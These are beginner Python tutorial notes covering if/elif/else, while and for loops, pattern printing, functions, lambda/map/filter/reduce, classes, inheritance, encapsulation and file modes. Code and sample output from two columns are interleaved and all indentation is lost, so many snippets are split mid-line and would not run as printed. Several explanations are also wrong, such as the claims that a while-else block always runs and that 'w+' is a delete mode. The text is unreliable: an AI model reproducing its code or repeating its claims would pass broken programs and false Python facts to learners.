elif c < a and c < b: elif c < a and c < b:
print('c is smaller than a and b') print('c is smaller than a and b')

:- a is smaller than b and c :- a is smaller than b and c


b is less than a and c
Else :- If all conditions are False then else will print Enter Number A:- 5
Enter Number B:- 5
a = int(input('Enter Number A:- ')) Enter Number C:- 5
b = int(input('Enter Number B:- '))
c = int(input('Enter Number C:- ')) :-
555
if a < b and a<c: 15
print('a is smaller than b and c')
elif b<a and b<c: All values are same
print('B is less than a and c')
elif c<a and c<b:
print('c is smaller than b and a')
else:
print(a,b,c)
print(a+b+c)
print('All values are same')

Checking numbers are ODD OR EVEN. if a % 2 != 0:


print('It is Odd')
a = int(input('Enter your number to check else:
even/odd ')) print('It is Even')
if a % 2 == 0:
print('It is Even')
Enter your number to check even/odd 4
else:
print('It is Odd') :- It is Even

Enter your number to check even/odd 5

:- It is Odd

a = int(input('Enter your age:- ')) a = int(input('Enter your age:- '))

if a >= 18: if a >= 18:


print('You are eligible for Voting') print('You are eligible for Voting')
else: else:
print('Your not Eligible for Voting') print('Your not Eligible for Voting')

:- :-
Enter your age:- 5 Enter your age:- 19
Your not Eligible for Voting Your are eligible for Voting

a = int(input('Enter your first number :-')) Enter your first number :- 5


b = input('Select your Operators :-')
c = int(input('Enter your second number :-')) Select your Operators :- +
Enter your second number :- 5
if '+' in b: Adding :- 10
print('Adding :-', a + c)
elif '-' in b:
print('Subtracting :-', a - c)
elif '*' in b:
print('Multiplying :-', a * c)
elif '/' in b:
print('Division :-', int(a/c))
else:
print('Wrong-Operator')

a = int(input('Enter the value ')) a = int(input('Enter the value '))


b = int(input('Enter the value ')) b = int(input('Enter the value '))

if a < b: if a < b:
print('a is smaller than b') print('a is smaller than b')
print('Done') print('Done')
else: else:
print('a is greater than b') print('a is greater than b')

Enter the value 6


Enter the value 5 Enter the value 4
Enter the value 6 :-
:-
a is greater than b
a is smaller than b
Done

a = int(input('Enter the value ')) Enter the value 5


b = int(input('Enter the value ')) Enter the value 6
c = int(input('Enter the value '))
d = int(input('Enter the value '))
Enter the value 7
Enter the value 8
if a<b and b<c and c<d: :-
print('a is less than b') a is less than b
print('b is less than c') b is less than c
print('c is less than d') c is less than d
a = int(input('Enter your age ')) a = int(input('Enter your age '))

if a >= 18 and a<= 100: if a >= 18 and a<= 100:


print('You are eligible for voting') print('You are eligible for voting')
else: else:
print('You are not eligible for print('You are not eligible for
voting') voting')

:- :-
Enter your age 101 Enter your age 19
You are not eligible for voting You are eligible for voting
Elif :- if one condition if False then elif is True Run. if 2>3:
print('2 is less than 3')
if 2>3: elif 3>4:
print('2 is less than 3') print('3 is less than 4')
elif 3 < 4: elif 4<5:
print('3 is less than 4') print('4 is less than 5')
elif 4>5: elif 6 < 7:
print('4 is less than 5') print('6 is less than 7')
elif 6 > 7: else:
print('6 is less than 7') print('all conditions are false')
:-
else: 4 is less than 5
print('all conditions are false')
:-
3 is less than 4
a = int(input('enter your value 1-7 ')) a = int(input('enter your value 1-7 '))

if a == 1: if a == 1:
print('Sunday') print('Sunday')
elif a == 2: elif a == 2:
print('Monday') print('Monday')
elif a == 3: elif a == 3:
print('Tuesday') print('Tuesday')
elif a == 4: elif a == 4:
print('Wednesday') print('Wednesday')
elif a == 5: elif a == 5:
print('Thursday') print('Thursday')
elif a == 6: elif a == 6:
print('Friday') print('Friday')
elif a==7: elif a==7:
print('Saturday') print('Saturday')
else: else:
print('You have entered invalid Number') print('You have entered invalid Number')
enter your value 1-7 1 enter your value 1-7 8
Sunday You have entered invalid Number

Nested-if :- One if Is True then another if Run. if 2<3:


print('2 is less than 3')
if 2 < 3: if 6<5:
print('2 is less than 3') print('5 is less than 6')
if 5<6: if 6<7:
print('5 is less than 6') print('6 is less than 7')
if 6<7:
print('6 is less than 7') :-
:- 2 is less than 3
2 is less than 3
5 is less than 6
6 is less than 7
a = int(input('enter the value ')) a = int(input('enter the value '))
if a >= 0: if a >= 0:
if a > 0: if a > 0:
print('Positive Number') print('Positive Number')
if a ==0: if a ==0:
print('zero number') print('zero number')
else: else:
print('negative number') print('negative number')

:- :-
enter the value 5 enter the value 0
Positive Number zero number
if 2>3: if 2<3:
print('2 is less than 3') print('2 is less than 3')
if 6<5: if 6>5:
print('5 is less than 6') print('5 is less than 6')
if 6<7: if 6>7:
print('6 is less than 7') print('6 is less than 7')
else: else:
print('Not value') print('6 is not greater than
7')
:- else:
Not value print('Not value')

:-
2 is less than 3
5 is less than 6
6 is not greater than 7

if 2<3:
print('2 is less than 3')
if 6<5:
print('5 is less than 6')
if 6<7:
print('6 is less than 7')
if 7<8:
print('7 is less than 8')
else:
print('7 is not greater than 8')
else:
print('6 is not greater than 7')
else:
print('6 is not greater than 5')
else:
print('Not value')

:-
2 is less than 3
6 is not greater than 5
Loops
• While-Loop
• For-Loop

While-Loop has Three Rules to follow:-

• Initialize :- A variable a = anything, a = 1


• Conditions :- after while side :- while a<=10:
• Statement :- Nest-line of while :- print(‘This is a while Loop’,a)
• Increment :- a+= 1

a = 1 This is a While Loop 1


This is a While Loop 2
while a <= 10:
print('This is a While Loop',a)
This is a While Loop 3
a += 1 This is a While Loop 4
This is a While Loop 5
This is a While Loop 6
This is a While Loop 7
This is a While Loop 8
This is a While Loop 9
This is a While Loop 10
a = 1 This is a While Loop 1
while a < 10: This is a While Loop 2
print('This is a While Loop',a)
a += 1
This is a While Loop 3
This is a While Loop 4
This is a While Loop 5
This is a While Loop 6
This is a While Loop 7
This is a While Loop 8
This is a While Loop 9
a = 10 This is while lOOP 10
This is while lOOP 9
while a > 0:
print('This is while lOOP',a)
This is while lOOP 8
a -= 1 This is while lOOP 7
This is while lOOP 6
This is while lOOP 5
This is while lOOP 4
This is while lOOP 3
This is while lOOP 2
This is while lOOP 1
a = 10 This is while lOOP 10
This is while lOOP 9
while a > 0:
print('This is while lOOP',a)
This is while lOOP 8
a -= 1 This is while lOOP 7
else: This is while lOOP 6
print('Terminated') This is while lOOP 5
This is while lOOP 4
Note:- else always printed whenever This is while lOOP 3
conditions False or True
This is while lOOP 2
This is while lOOP 1
Terminated

n = int(input('Enter any Value ')) Enter any Value 5


a = 1 5*1=5
while a<=10:
5 * 2 = 10
print(n,'*',a,'=',n*a) 5 * 3 = 15
a+=1 5 * 4 = 20
5 * 5 = 25
5 * 6 = 30
5 * 7 = 35
5 * 8 = 40
5 * 9 = 45
5 * 10 = 50
a = 1 #Initialize 1 1
2 4
while a<=10: #Conditions
print(a,'\t',a**2) #Statement
3 9
a += 1 #Increment 4 16
5 25
‘\t’:- It is for extra spaces. 6 36
7 49
8 64
9 81
10 100
a = 1 # Initialize Numbers Squares
print('Numbers','\t','Squares') 1 1
while a <= 10: # Conditions
print(a, '\t\t', a ** 2) #
2 4
3 9
Statement 4 16
a += 1 # Increment 5 25
6 36
7 49
8 64
9 81
10 100
a = 0 # Initialize 1
# print('Numbers','\t','Squares') 2
while a <= 10: # Conditions
a+=1
4
if a==3: 5
continue 6
print(a) 7
8
continue:- It is use to Skip a part 9
then other will Print
10
11

a = 0 # Initialize 1
# 2
print('Numbers','\t','Squares')
while a < 10: # Conditions
4
a+=1 5
if a==3: 6
continue 7
print(a) 8
9
10

a = 0 0
while a < 5: 1
if a == 3:
break
2
print(a)
a+=1

break:- It is used to break the


code and rest of them will not
Run
a = 1 1
while a<= 5: 2
if a==3:
pass #It is a null
3
4
5
print(a)
a += 1

pass:- It is a null argument


only

Nested-while-Loop
Initialize
while condition: (Outer-Loop (Row) -> It doesn’t print anything)
Initialize
while condition: (Inner-Loop (Column) -> It prints in column)
statement
Increment/Decrement
Increment/Decrement
i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= i: #Column 1234
print(j, end='') 12345
j += 1
print() Note :- If all values same at the column side
i += 1 then use Column-Loop(Inner-Loop)
i = 5 55555
while i >= 1: #Row 4444
j = 1 333
while j <= i: #Column 22
print(i, end='') 1
j += 1
print() Note :- If all values same at the Row side
i -= 1 then use Row Loop Values in Column-Loop.

i = 5 12345
while i >= 1: #Row 1234
j = 1 123
while j <= i: #Column 12
print(j, end='') 1
j += 1
print()
i -= 1

i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= i: #Column 4444
print(i, end='') 55555
j += 1
print()
i += 1

i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= i: #Column ****
print(‘*’,end=’’) *****
j += 1
print()
I += 1

i = 1 1
while i <= 5: #Row 12
j = 1 123
while j <= 5 - i: #Column 1234
print(' ',end='') 12345
j += 1
k = 1
while k <= i: #Column
print(k, end='')
k += 1
print()
i += 1
i = 5 5
while i >= 1: #Row 44
j = 1 333
while j <= i - 1: #Column 2222
print(' ',end='') 11111
j += 1
k = 1
while k <= 6 - i: #Column
print(i, end='')
k += 1
print()
i -= 1

i = 1 1
while i <= 5: #Row 22
j = 1 333
while j <= 5 - i: #Column 4444
print(' ', end='') 55555
j += 1
k = 1
while k <= i: #Column
print(i, end='')
k += 1
print()
i += 1

i = 1 *
while i <= 5: #Row **
j = 1 ***
while j <= 5 - i: #Column ****
print(' ',end='') *****
j += 1
k = 1
while k <= i: #Column
print('*', end='')
k += 1
print()
i += 1
For-Loop
Data-Type -> Sequence-DataType:-List,Tuple,String.

for variable in Data-Type:


print(variable)
a = [12,34,56,78,90] 12
for i in a:
print(i)
34
56
78
90
a = [12,34,56,78,90] 12
for a in a:
print(a)
34
56
78
90
a = [12,34,56,78,90] 12 34 56 78 90
for a in a:
print(a, end=' ')

a = [12,34,56,78,90] 12
for i in a:
print(i)
34
if i == 56: 56
break
a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
break
print(i)

a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
continue 78
print(i) 90
a = [12,34,56,78,90] 12
for i in a:
if i == 56:
34
pass 56
print(i) 78
90
Range :-
for variable in range(1,11): for variable in range(1,1):
print(variable, end=’ ‘) print(‘*’)
It will print nothing
1 2 3 4 5 6 7 8 9 10

It will not print last value. It will print less one from the last value.
for i in range (10,0,-1): 10
print(i)
9
8
7
6
5
4
3
2
1
for i in range (5): 0
print(i)
1
2
3
4
a = [20,21,61,68] 20
for i in a:
if i == 20:
print(i)

a = [20,21,61,68] 20
for i in a:
if i == 20 or i == 68: 68
print(i)

a = 'Harish sharma' Harish sharma


for i in a:
print(i, end='')

a = ['h','a','r','i','s','h']
for i in a:
harish
print(i , end='')

a = 'harish' harish
for i in a:
print(i, end='') Loop-Terminated
else:
print()
print('Loop-Terminated')

for i in range(2,21,2): 2
print(i)
4
6
8
10
12
14
16
18
20
for i in range(1,21,2): 1
print(i)
3
5
7
9
11
13
15
17
19

Nested-for-Loop
for row in range(1,6):
for column in range(1,6):
print(‘ ’, end=’’)
print()
for i in range(1,6): *
for j in range(1,i+1):
print('*', end='')
**
print() ***
****
*****
for i in range (1,6): 1
for j in range (1, i+1):
print(i, end='')
22
print() 333
4444
55555
for i in range (5,0,-1): *****
for j in range (1, i+1):
print('*', end='')
****
print() ***
**
*
for i in range (5,0,-1): 12345
for j in range (1, i+1):
print(j, end='')
1234
print() 123
12
1
n = 6 *
for i in range(1,n):
for j in range(1,n-i):
**
print(' ',end='') ***
for k in range(1,i+1): ****
print('*', end='') *****
print()

n = 6 *
m = n+1
for i in range(1,m):
**
for j in range(1,m-i): ***
print(' ',end='') ****
for k in range(1,i+1): *****
print('*', end='')
print()
******

n = 6 *****
for i in range(1,n):
for j in range(1,i):
****
print(' ',end='') ***
for k in range(1,n-i+1): **
print('*', end=' ') *
print()

for i in range(1,6): 1
for j in range(1,6-i):
print(' ',end='')
12
for k in range(1,i+1): 123
print(k, end=' ') 1234
print() 12345
for i in range(1,6): 1
for j in range(1,6-i):
print(' ',end='')
22
for k in range(1,i+1): 333
print(i, end=' ') 4444
print() 55555
for i in range(1,6): *
for j in range(1,6-i):
print(' ', end='')
**
for k in range(1,i+1): ***
print('*', end=' ') ****
print() *****
for i in range(1,6): 12345
for j in range(1,i):
print(' ',end='')
1234
for k in range(1,7-i): 123
print(k, end=' ') 12
print() 1

for i in range(1,6): 11111


for j in range(1,i):
print(' ',end='')
2222
for k in range(6-i): 333
print(i , end=' ') 44
print() 5
for i in range(5,0,-1): 55555
for j in range(5,i,-1):
print(' ',end='')
4444
for k in range(1,i+1): 333
print(i, end=' ') 22
print() 1
password = 1234

for j in range(1,4):
n = int(input('Enter the pin : '))
if n == password:
print('Pin-Done')
break
else:
print('BLOCK')

for i in range(1,6): *
for j in range(1,6-i):
print(' ', end='')
**
for k in range(1,i+1): ***
print('*', end=' ') ****
print() *****
for l in range(1,6):
for m in range(1,1+l):
****
print(' ', end='') ***
for n in range(1,6-l): **
print('*', end=' ') *
print()

for i in range(5,0,-1): 5
for j in range(1,i):
print(' ', end='')
44
for k in range(1,7-i): 333
print(i, end=' ') 2222
print() 11111
for i in range(1,6):
for j in range(1,i):
11111
print(' ',end='') 2222
for k in range(1,7-i): 333
print(i, end=' ') 44
print()
5

for i in range(1,9): ****************


for j in range(0,9-i):
print('*',end='')
*******__*******
for k in range(1,i): ******____******
print('__',end='') *****______*****
for l in range(0,9-i): ****________****
print('*',end='')
print()
***__________***
**____________**
*______________*

for i in range(0,7):
for j in range(0,7):
if i+j == 3 or i - j == 3 or j - i == 3 or i + j == 9:
print('*',end='')
else:
print(' ', end='')
print()

*
**
* *
* *
* *
**
*

for i in range(97,123): abcdefghijklmnopqrstuv


print(chr(i), end=' ')
wxyz
for i in range(5,1,-1): 5
print(i)
4
3
2

Functions
Functions :- A function is a block of code which only runs when it is called
anywhere even to another file.
def name():
block of code
def name(): :-
print('This is a Function')
name()
This is a Function

def inp(): :-
a = input('Enter the name ')
print(a)
Enter the name 5
inp() 5

for i in range(5): 0
print(i)
name()
1
2
3
4
This is a Function
for i in range(5): This is a Function
name()
This is a Function
This is a Function
This is a Function
This is a Function
def add(a,b,c): 36
d = a+b+c
print(d)
add(10,12,14)

def add(a,b,c): 21
d = a+b+c
print(d)
add(6,7,8)

def add(a,b,c): 10 14 2
print(a,b,c)
d = a+b+c
26
print(d)

add(10,14,2)

def add(a=5,b=6,c=0): 31
d = a+b+c
print(d)
add(10,14,7) #Priority

def add(a,c,b=9): 10 9 5
print(a,b,c)
d = a+b+c
24
print(d)
add(10,5)

def add(c,a=5,b=6): 10 14 6
print(c,a,b)
d = a+b+c
30
print(d)
add(10,14)

def add(c,a=5,b=6): 10 14 7
print(c,a,b)
d = a+b+c
31
print(d)
add(10,14,7)

def add(a,b,c): 27
d = a+b+c
print(d)
add(c=8,b=9,a=10)

a = int(input('Enter ')) Enter 5


def sub(a,b,c):
5 23 56
print(a,b,c) -74
d = a-b-c
print(d)
sub(a,23,56)

Functions.py Function.py
def name():
print('This is a Function') import Functions
name() functions.name()

This is a Function
This is a Function

return:-
def name():
block of code
return result
Return store the result of a function code and in a name of a function and
make it variable.
Nothing will execute below of a return. Even in nested functions.
return makes function a Variable.

Nested-Functions
def calculator(a,b,c): 3
d = a+b+c
print(d)
9
def add(d,e):
a2 = d+e
print(a2)
add(5,4)
calculator(1,1,1)
def calculator(a,b,c): 3
d = a+b+c
print(d)
11
def add(d,e):
a2 = d+e
return a2
print(add(5,6))

calculator(1,1,1)

Lambda :-

A lambda function is a small anonymous function.

A lambda function can take any number of arguments, but can only have
one expression.

variable = lambda variables…more : result

a = lambda a,b,c : a+b+c 9


print(a(2,3,4))

a = lambda a,b,c,d,f : a+b+c- -6


d-f
print(a(2,3,4,7,8))

Functions :- map,reduce,filter.
Map :- map is a function which iterate every-item of a sequence Data-Type.
Like Tuple,List,String.1
Variable = map(function, variable)
Variable1 = list(Variable)
a = [1,2,3,4] [1, 4, 9, 16]
def abc(i):
a1 = i*i
return a1
a2 = map(abc,a)
a3 = list(a2)
print(a3)

a = [1,2,3,4] [1, 4, 9, 16]


def abc(i):
a1 = i*i
return a1
a2 = list(map(abc,a))
print(a2)

a = [5,6,7,8] [(5, 5), (6, 6), (7, 7), (8, 8)]


def d(i):
return i,i

a2 = list(map(d,a))
print(a2)

a = [1,2,3,4] [1, 4, 9, 16]


a2 = list(map(lambda i:i*i,a))
print(a2)

a = [1,2,3,4] [1, 4, 9, 16]


b = lambda i:i*i
a2 = list(map(b,a))
print(a2)

Filter :-
a = [4,5,6,7,8,9] [4, 5, 6, 7]
def abc(i):
a1 = i<= 7
return a1
a2 = list(filter(abc,a))
print(a2)
a = [4,5,6,7,8,9] [4, 5, 6, 7]
abc = lambda i: i <= 7
a2 = list(filter(abc,a))
print(a2)

a = [4,5,6,7,8,9] [4, 6, 8]
abc = lambda i: i %2== 0
a2 = list(filter(abc,a))
print(a2)

Reduce:- It sum the items of any data-type. Mathematical-Operators(+,-,*)


from functools import reduce 24
a = [1,2,3,4]
a2 = reduce(lambda i,j:i*j,a)
print(a2)

*args or *anyname :- You can use any name. return willl not work on *args
def name(*args): abc dcd fdg 65 98
print(*args)
name('abc','dcd','fdg',65,98)

def name(*anything): abc dcd fdg 65 98


print(*anything)
name('abc','dcd','fdg',65,98)

a = ['abc','dcc'] ['abc', 'dcc']


def name(*args):
print(*args)
name(a)

def name(*args): abc


for i in args:
print(i)
dcd
name('abc','dcd','fdg',65,98) fdg
65
98
**kwargs or anyname :- it gets dictionary arguments.

def name(**kwargs): a Apple


for key,value in kwargs.items():
print(key,value)
b Ball
name(a = 'Apple',b='Ball')
def name(**kwargs): ('a', 'Apple')
for key in kwargs.items():
print(key)
('b', 'Ball')
name(a = 'Apple',b='Ball')

def name(**anyname): ('a', 'Apple')


for key in anyname.items():
print(key)
('b', 'Ball')
name(a = 'Apple',b='Ball')

def school(**kwargs): name Harish


for key, value in kwargs.items():
print(key, value)
Roll_no 25
school(name='Harish', Roll_no= 25, Marks = 98, Marks 98
clas = 'IX') clas IX
def school(**kwargs): ('name', 'Harish')
for key in kwargs.items():
print(key)
('Roll_no', 25)
school(name='Harish', Roll_no= 25, Marks = 98, ('Marks', 98)
clas = 'IX') ('clas', 'IX')

Variable in a function can not work outside of a functions and the inside
variable called local-variable.
def name():
a = 56 #local variable
b = 78
c = a+b
print(c)
name()
print(a)#wrong not work

a1 = 1 3
def name():
global a
1
a = 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
a1 = 1 3
def name():
global a,b
1
a = 1 1
b = 1
c = a+b+a1
print(c)
name()
print(a)
print(b)

a1 = 1 3
def name():
a = 1
b = 1
c = a+b+a1
print(c)
name()

def name(): 2
a = 1
b = 1
3
c = a+b
print(c)
def nickname():
d = 2
e = d+a
print(e)
nickname()
name()

OOPS
The main concept of OOPs is to bind the data and the functions that work on
that together as a single unit so that no other part of the code can access this
data.
self :- it help function argument to get the value. It is must.
Class :- It can store multiple objects or methods information. It is a BluePrint.
class Cat:
object or method
object:- state, Behaviour, Identiy
state :- color,bread,age
Behaviour :- eating or sleeping
Identity :- name
Creating-Multiple-Objects:
Variable = class()

class anything:
def anything(self): -> Method :- inside information is called Objects.
self.Same-name or different-name = must be same in a function
class cat: abc
def info(self, name, color, work):
self.name = name
red
self.color = color sleep
self.work = work

def info1(self):
print(self.name)
print(self.color)
print(self.work)

a = cat()
a.info('abc','red','sleep')
a.info1()

class cat: abc


def info(self, name, color, work):
self.naming = name
red
self.coloring = color sleep
self.working = work

def info1(self):
print(self.naming)
print(self.coloring)
print(self.working)

a = cat()
a.info('abc','red','sleep')
a.info1()

class cat: abc red sleep


def info(self, name, color, work):
self.name = name
self.color = color
self.work = work
print(self.name, self.color,
self.work)
def info1(self):
print(self.name)
print(self.color)
print(self.work)

a = cat()
a.info('abc','red','sleep')

class mobile: Name: realme


def info(self, name,color,price,work):
self.name = name
Color: Black
self.color = color Price: 9000
self.price = price Work: Personal
self.work = work
print('Name:',self.name)
print('Color:',self.color)
print('Price:',self.price)
print('Work:',self.work)

a = mobile()
a.info('realme','Black',9000,'Personal')

class mobile: Name: realme


def info(self, name,color,price,work):
self.name = name
Color: Black
self.color = color Price: 9000
self.price = price Work: Personal
self.work = work Realme
def info1(self):
print('Name:',self.name)
print('Color:',self.color)
print('Price:',self.price)
print('Work:',self.work)

a = mobile() #Creating object


a.info('realme','Black',9000,'Personal')
a.info1()
print(a.name)

class mobile: Name: realme


def info(self, name,color,price,work
global a1
Color: Black
a1 = name Price: 9000
self.color = color Work: Personal
self.price = price
self.work = work

def info1(self):
print('Name:',a1)
print('Color:',self.color)
print('Price:',self.price)
print('Work:',self.work)

a = mobile() #Creating object


a.info('realme','Black',9000,'Personal')
a.info1()
class company: Harish Indirapuram
def info(self,name,address,work):
self.name = name
Software-Developer
self.address = address
self.work = work Harish
print(self.name,self.address,self.work) Indirapuram
a = company()
a.info('Harish','Indirapuram','Software-Developer')
print(a.name)
print(a.address)

Constructor :- Don’t need to call the function. It calls when object calls or
variable. __init__(self), __init__(self,att1,att2….more)
One class has one contructor. Lastes one override
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
self.name = name
self.address = address
self.work = work
print(self.name,self.address,self.work)

a = company('Harish','Indirapuram','Hacker')

class company: It is Override


def __init__(self,name,address,work):
self.name = name #Objects
self.address = address
self.work = work
print(self.name,self.address,self.work)

def __init__(self):
print('It is Override')

a = company()
class company: Harish Indirapuram Hacker
def __init__(self,name,address,work):
self.name = name #Objects
Hello word!
self.address = address Salary 30000
self.work = work
print(self.name,self.address,self.work)

def info(self):
print('Hello word!')

def info1(self,Salary):
self.Salary = Salary
print('Salary',self.Salary)

a = company('Harish','Indirapuram','Hacker')
a.info()
a.info1(30000)

Inheritance :- One class attributes use in another class.


Parent-Class :- If class not use any class attribute is called Parent-class.
Child-Class :- If any class use another class attributes is called Child-class.
Steps of Inheritance:-
1. Childclass (Parent-Class)
2. Childclass.functionname(self,att1,att2….more)
Or
Childclass.__init__(self,att1,att2..more).
Childclass also must use constructor.
class car: #Parent-Class ->Single-Inheritance -> 6500 98565
Functions
def info(self, name,color):
Jaguar Black
self.name = name
self.color = color
print(self.name, self.color)

class vehicle(car): #Child-Class


def info1(self, name,color,price,model):
self.price = price
self.model = model
print(self.price, self.model)
car.info(self,name,color)

a = vehicle()
a.info1('Jaguar','Black',6500,'98565')

class car: #Parent-Class ->Single-Inheritance -> 6500 98565


Constructor
def __init__(self,name,color):
Jaguar Black
self.name = name
self.color = color
print(self.name, self.color)

class vehicle(car): #Child-Class


def __init__(self, name,color,price,model):
self.price = price
self.model = model
print(self.price, self.model)
car.__init__(self,name,color)

a = vehicle('Jaguar','Black',6500,'98565')

Multiple-Inheritance :- More than two parent-class is called Multiple-


Inheritance.
A----B
|
Childclass
class car: #Parent-Class ->Multiple-Inheritance -> 98565
Functions
def info(self, name,color):
Jaguar Black
self.name = name 6500
self.color = color
print(self.name, self.color)

class bike: #Parent-Class


def info1(self, price):
self.price = price
print(self.price)

class vehicle(car,bike): #Child-Class


def info2(self,name,color,price,model):
self.model = model
print(self.model)
car.info(self,name,color)
bike.info1(self,price)

a = vehicle()
a.info2('Jaguar','Black',6500,'98565')

class car: #Parent-Class ->Multiple-Inheritance -> 98565


Constructor
def __init__(self, name,color):
Jaguar Black
self.name = name 6500
self.color = color
print(self.name, self.color)

class bike: #Parent-Class


def __init__(self, price):
self.price = price
print(self.price)

class vehicle(car,bike): #Child-Class


def __init__(self,name,color,price,model):
self.model = model
print(self.model)
car.__init__(self,name,color)
bike.__init__(self,price)

a = vehicle('Jaguar','Black',6500,'98565')

Multilevel-Inheritance :-
A—B—C—D
A -> Parent-Class, B,C,D -> Child-Class
class car: 6562
def info(self, name):
self.name = name
656565
print(self.name) Black
Metro
class bike(car): Audi
def info1(self, name,color):
self.color = color
print(self.color)
car.info(self,name)

class cycle(bike):
def info2(self,name,color,price):
self.price = price
print(self.price)
bike.info1(self,name,color)

class train(cycle):
def info3(self,name,color,price,model):
self.model = model
print(self.model)
cycle.info2(self,name,color,price)

a = train()
a.info3('Metro','Black',656565,6562)
a.info('Audi')

Hierarchical inheritance
Multiple Child-Class and One-Parent-Class.

Parent-Class
|
| | | |
Child-Class Child-Class Child-Class Child-Class
Function-name = methods
Function-attributes = variable, attributes, function.
Function-call = value, arguments
Class-name = objects.
class Animal: #Object ki information store krta h Harish 656
class.

def info(abc,name,color): #first value can be


anything and consider as a self and use as a
Self.
abc.name = name
abc.color = color
print(abc.name, abc.color)

a = Animal()
a.info('Harish',656)

class animal: Dog


def info(self, name,color):
self.name = name
black
self.color = color abcd
self.abc = 'abcd'
print(self.name)
print(self.color)

a = animal()
a.info('Dog','black')
print(a.abc)

class animal: Dog


def info(self, name,color):
self.name = name
black
self.color = color abcd
abc = 'abcd'
print(self.name)
print(self.color)
print(abc)

a = animal()
a.info('Dog','black')
class animal: Sparrow
def info(self, name):
self.name = name
Black
print(self.name) Sparrow

class Bird(animal): Elephants


def info1(self,name,color):
self.color = color
hardwork
print(self.color) Elephants
animal.info(self,name)
class mammal(animal): 65
def info2(self, name,work):
self.work = work Tiger
print(self.work) Tiger
animal.info(self,name)
Zibra
class fish(animal):
def info3(self,name,age):
self.age = age
print(self.age)
animal.info(self,name)

a = Bird()
a.info('Sparrow')
a.info1('Sparrow','Black')

b = mammal()
b.info('Elephants')
b.info2('Elephants','hardwork')

c = fish()
c.info3('Tiger',65)
c.info('Tiger')

d = animal()
d.info('Zibra')

Hybrid-Inheritance :- Combination of all inheritance is called Hybrid-


inheritance.
class animal: Hunt
def info(self, name):
self.name = name
Carnivorous
print(self.name) Tiger

class Bird(animal):
def info1(self,name,color):
self.color = color
print(self.color)
animal.info(self,name)

class mammal(animal):
def info2(self, name,work):
self.work = work
print(self.work)
animal.info(self,name)

class fish(mammal):
def info3(self,name,work,age):
self.age = age
print(self.age)
mammal.info2(self,name,work)

a = fish()
a.info3('Tiger','Carnivorous','Hunt')

class animal: 65
def info(self, name):
self.name = name
Carnivorous
print(self.name) Tiger

class Bird(animal):
def info1(self,name,color):
self.color = color
print(self.color)
animal.info(self,name)

class mammal(animal):
def info2(self, name,work):
self.work = work
print(self.work)
animal.info(self,name)

class fish(mammal):
def info3(self,name,work,age):
self.age = age
print(self.age)
mammal.info2(self,name,work)
a = fish()
a.info3('Tiger','Carnivorous',65)

class Company:
Harish 56 Male
def info(self,name):
self.name = name Craw
print(self.name) Ravi 65 Fe-male
Origin
class employee(Company): Ajay 98 Male
def info1(self,empname,age,gender,name):
self.empname = empname Nasscom
self.age = age
self.gender = gender
print(self.empname, self.age,
self.gender)
Company.info(self,name)

class marketing(Company):
def info2(self, role,name):
self.role = role
print(self.role)
Company.info(self, name)

class performance(marketing):
def info3(self, performing,role):
self.performing = performing
marketing.info2(self,role)

a = employee()
a.info1('Harish',56,'Male','Craw')

b = employee()
a.info1('Ravi',65,'Fe-male','Origin')

c = employee()
a.info1('Ajay',98,'Male','Nasscom')

Polymorphism :- one class of function use in another class as a same name.


Using super(). function
class cat: abc
def info(self, name,color):
self.name = name
Red
self.color = color Snale Black Bite
print(self.name)
print(self.color)

class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)

a = Dog()
a.info('Snale','Black','Bite')

class cat: Snale Black Bite


def info(self, name,color):
self.name = name
abc
self.color = color Red
print(self.name)
print(self.color)

class Dog(cat):
def info(self, name1,color1,work):
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)
super().info('abc','Red')

a = Dog()
a.info('Snale','Black','Bite')
class cat: abc
def info(self, name,color):
self.name = name
Red
self.color = color dog red bark
print(self.name) Sparrow
print(self.color) Black
class Dog(cat):
def info(self, name1,color1,work):
super().info('abc','Red')
self.name1 = name1
self.color1 = color1
self.work = work
print(self.name1, self.color1, self.work)

class bird(Dog):
def info(self, name2,color2):
super().info('dog','red','bark')
self.name2 = name2
self.color2 = color2
print(self.name2)
print(self.color2)

a = bird()
a.info('Sparrow','Black')

encapsulation :- it helps to hide the attributes. __ Double-


Underscore.
The code or attribute can not use outside of class but inside
a class can use

class login: AttributeError: 'login' object has no


def info(self):
self.username = 'Harish'
attribute 'password'
self.__password = '123456'

a = login()
a.info()
print(a.username)
print(a.password)
class login: AttributeError: 'login'
def info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' '__password'

a = login()
a.info()
print(a.username)
print(a.__password)

class login: AttributeError: 'login'


def __info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' 'info'
print(self.username, self.__password)

a = login()
a.info()

class login: AttributeError: 'login'


def __info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' '__info'
print(self.username, self.__password)

a = login()
a.__info()

class login: AttributeError: 'login'


def info(self):
self.username = 'Harish'
object has no attribute
self.__password = '123456' '__info'
print(self.username, self.__password)

a = login()
a.info()
File-Handling :- File handling is an important part of any web application
With the help of file-handling we can create,add,delete the files.
It can not use in image,video, audio.

open()
variable = open(‘file.txt’, ’modes’)
modes :-
• Read(r) :- it help to read the file content inside.
• Append(a) :- it help to append new data inside a file.
• Write(w) :- it help to write and create the file. It doesn’t exist.
• Create(x) :- it only creates file.
• Delete(w+) :- it help to delete the whole content inside a file.

a = open('abc.txt','x') #create only once


a = open('abc.txt','w')
#create blank-file and write
also it is override also.

a = open('abc.txt','w') abc.txt
a.write('Hello')
Hello
a = open('abc.txt','w') abc.txt
a.write('Hello-world') #it is
override. Hello-world

a = open('abc.txt','w+') #it deletes abc.txt


whole text inside a file.

a = open('abc.txt','w') abc.txt
a.write('This is First-line')
a.write('\nThis is Second-Line') This is First-line
This is Second-Line
a = open('abc.txt','a') #it appends abc.txt
the text in a file.
a.write('\nThis is Third-line') This is First-line
a.write('\nThis is Fourth-Line') This is Second-Line
This is Third-line
This is Fourth-Line
a = open('abc.txt','r') #to read the file This is First-line
b = a.read() This is Second-Line
print(b) This is Third-line
This is Fourth-Line
